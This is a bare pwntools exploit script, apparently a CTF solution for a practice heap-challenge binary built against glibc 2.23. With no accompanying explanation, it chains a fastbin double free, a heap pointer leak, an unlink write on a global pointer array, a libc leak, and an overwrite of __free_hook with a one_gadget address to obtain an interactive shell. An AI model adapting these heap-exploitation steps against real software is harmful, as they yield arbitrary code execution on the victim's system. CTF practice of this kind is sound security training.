1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| from pwn import * def bug(): gdb.attach(p) pause()
def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda :print(p.recv()) ia = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
context(arch = "amd64",os = "linux",log_level = "debug") context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] file = "./pwn"
libc = "/home/pwn/Desktop/buuctf/libc/64bits/libc-2.23.so"
p = process(file)
elf = ELF(file) libc = ELF(libc)
def choice(idx): sla("Choice:",str(idx))
def add(idx,content='a'): choice(1) sla("Index:",str(idx)) sla("Content:",content) p.recvline()
def edit(idx,content): choice(2) sla("Index:",str(idx)) sla("Content:",content) p.recvline()
def show(idx): choice(3) sla("Index:",str(idx))
def free(idx): choice(4) sla("Index:",str(idx))
payload = p64(0)+p64(0x31)+p64(0)+p32(0) add(0,payload) add(1) add(2) add(3) add(4) free(1) free(0) free(1)
show(0)
heapptr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) - 0x30 lg("heap_ptr: ",heapptr)
add(5,p64(heapptr+0x10)) add(6) add(7)
ptr = 0x602060 target = ptr + 0x30 payload = p64(target-0x18) + p64(target-0x10) + p64(0x20) + p32(0x90) add(8,payload)
edit(0,p64(0)+b"\x21") free(1) show(8)
malloc_hook = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))-0x10-0x58 libc.address = malloc_hook - libc.sym['__malloc_hook'] lg("libc_address: ",libc.address)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
edit(6,p64(libc.sym['__free_hook'])) edit(3,p64(libc.address+one[1]))
free(4) p.interactive()
|